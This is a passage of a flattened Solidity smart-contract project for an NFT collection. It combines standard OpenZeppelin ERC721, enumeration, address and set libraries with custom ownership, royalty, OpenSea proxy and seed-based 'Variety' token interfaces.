Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "../../../utils/Context.sol"; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol'; import './ERC721Ownable.sol'; import './ERC721WithRoyalties.sol'; /// @title ERC721Full /// @dev This contains all the different overrides needed on /// ERC721 / Enumerable / URIStorage / Royalties /// @author Simon Fremaux (@dievardump) abstract contract ERC721Full is ERC721Ownable, ERC721Burnable, ERC721WithRoyalties { /// @inheritdoc ERC165 function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, ERC721, ERC721WithRoyalties) returns (bool) { return // either ERC721Enumerable ERC721Enumerable.supportsInterface(interfaceId) || // or Royalties ERC721WithRoyalties.supportsInterface(interfaceId); } /// @inheritdoc ERC721 function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } /// @inheritdoc ERC721Ownable function isApprovedForAll(address owner_, address operator) public view override(ERC721, ERC721Ownable) returns (bool) { return ERC721Ownable.isApprovedForAll(owner_, operator); } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol'; import '../OpenSea/BaseOpenSea.sol'; /// @title ERC721Ownable /// @author Simon Fremaux (@dievardump) contract ERC721Ownable is Ownable, ERC721Enumerable, BaseOpenSea { /// @notice constructor /// @param name_ name of the contract (see ERC721) /// @param symbol_ symbol of the contract (see ERC721) /// @param contractURI_ The contract URI (containing its metadata) - can be empty "" /// @param openseaProxyRegistry_ OpenSea's proxy registry to allow gas-less listings - can be address(0) constructor( string memory name_, string memory symbol_, string memory contractURI_, address openseaProxyRegistry_ ) ERC721(name_, symbol_) { // set contract uri if present if (bytes(contractURI_).length > 0) { _setContractURI(contractURI_); } // set OpenSea proxyRegistry for gas-less trading if present if (address(0) != openseaProxyRegistry_) { _setOpenSeaRegistry(openseaProxyRegistry_); } } /// @notice Allows gas-less trading on OpenSea by safelisting the Proxy of the user /// @dev Override isApprovedForAll to check first if current operator is owner's OpenSea proxy /// @inheritdoc ERC721 function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { // allows gas less trading on OpenSea if (isOwnersOpenSeaProxy(owner, operator)) { return true; } return super.isApprovedForAll(owner, operator); } /// @notice Helper for the owner of the contract to set the new contract URI /// @dev needs to be owner /// @param contractURI_ new contract URI function setContractURI(string memory contractURI_) external onlyOwner { _setContractURI(contractURI_); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '../Royalties/ERC2981/IERC2981Royalties.sol'; import '../Royalties/RaribleSecondarySales/IRaribleSecondarySales.sol'; /// @dev This is a contract used for royalties on various platforms /// @author Simon Fremaux (@dievardump) contract ERC721WithRoyalties is IERC2981Royalties, IRaribleSecondarySales { function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) { return interfaceId == type(IERC2981Royalties).interfaceId || interfaceId == type(IRaribleSecondarySales).interfaceId; } /// @inheritdoc IERC2981Royalties function royaltyInfo(uint256, uint256) public view virtual override returns (address _receiver, uint256 _royaltyAmount) { _receiver = address(this); _royaltyAmount = 0; } /// @inheritdoc IRaribleSecondarySales function getFeeRecipients(uint256 tokenId) public view override returns (address payable[] memory recipients) { // using ERC2981 implementation to get the recipient & amount (address recipient, uint256 amount) = royaltyInfo(tokenId, 10000); if (amount != 0) { recipients = new address payable[](1); recipients[0] = payable(recipient); } } /// @inheritdoc IRaribleSecondarySales function getFeeBps(uint256 tokenId) public view override returns (uint256[] memory fees) { // using ERC2981 implementation to get the amount (, uint256 amount) = royaltyInfo(tokenId, 10000); if (amount != 0) { fees = new uint256[](1); fees[0] = amount; } } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title OpenSea contract helper that defines a few things /// @author Simon Fremaux (@dievardump) /// @dev This is a contract used to add OpenSea's support contract BaseOpenSea { string private _contractURI; ProxyRegistry private _proxyRegistry; /// @notice Returns the contract URI function. Used on OpenSea to get details // about a contract (owner, royalties etc...) function contractURI() public view returns (string memory) { return _contractURI; } /// @notice Helper for OpenSea gas-less trading /// @dev Allows to check if `operator` is owner's OpenSea proxy /// @param owner the owner we check for /// @param operator the operator (proxy) we check for function isOwnersOpenSeaProxy(address owner, address operator) public view returns (bool) { ProxyRegistry proxyRegistry = _proxyRegistry; return // we have a proxy registry address address(proxyRegistry) != address(0) && // current operator is owner's proxy address address(proxyRegistry.proxies(owner)) == operator; } /// @dev Internal function to set the _contractURI /// @param contractURI_ the new contract uri function _setContractURI(string memory contractURI_) internal { _contractURI = contractURI_; } /// @dev Internal function to set the _proxyRegistry /// @param proxyRegistryAddress the new proxy registry address function _setOpenSeaRegistry(address proxyRegistryAddress) internal { _proxyRegistry = ProxyRegistry(proxyRegistryAddress); } } contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title IERC2981Royalties /// @dev Interface for the ERC2981 - Token Royalty standard interface IERC2981Royalties { /// @notice Called with the sale price to determine how much royalty // is owed and to whom. /// @param _tokenId - the NFT asset queried for royalty information /// @param _value - the sale price of the NFT asset specified by _tokenId /// @return _receiver - address of who should be sent the royalty payment /// @return _royaltyAmount - the royalty payment amount for value sale price function royaltyInfo(uint256 _tokenId, uint256 _value) external view returns (address _receiver, uint256 _royaltyAmount); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IRaribleSecondarySales { /// @notice returns a list of royalties recipients /// @param tokenId the token Id to check for /// @return all the recipients for tokenId function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory); /// @notice returns a list of royalties amounts /// @param tokenId the token Id to check for /// @return all the amounts for tokenId function getFeeBps(uint256 tokenId) external view returns (uint256[] memory); } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title IRenderer /// @author Simon Fremaux (@dievardump) interface IRenderer { /// @dev Rendering function; /// @param name the seedling name /// @param tokenId the tokenId /// @param seed the seed /// @return the json function render( string memory name, uint256 tokenId, bytes32 seed ) external pure returns (string memory); } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; /// @title IVariety interface /// @author Simon Fremaux (@dievardump) interface IVariety is IERC721 { /// @notice mint `seeds.length` token(s) to `to` using `seeds` /// @param to token recipient /// @param seeds each token seed function plant(address to, bytes32[] memory seeds) external returns (uint256); /// @notice this function returns the seed associated to a tokenId /// @param tokenId to get the seed of function getTokenSeed(uint256 tokenId) external view returns (bytes32); /// @notice This function allows an owner to ask for a seed update /// this can be needed because although I test the contract as much as possible, /// it might be possible that one token does not render because the seed creates /// error or even "out of gas" computation. That's why this would allow an owner /// in such case, to request for a seed change that will then be triggered by Sower /// @param tokenId id to regenerate seed for function requestSeedChange(uint256 tokenId) external; /// @notice This function allows Sower to answer to a seed change request /// in the event where a seed would produce errors of rendering /// 1) this function can only be called by Sower if the token owner /// asked for a new seed /// 2) this function will only be called if there is a rendering error /// or, Vitalik Buterin forbid, a duplicate /// @param tokenId id to regenerate seed for function changeSeedAfterRequest(uint256 tokenId) external; } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@//////************@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/////*******************@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@///***********************@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@///**************************@@@ // 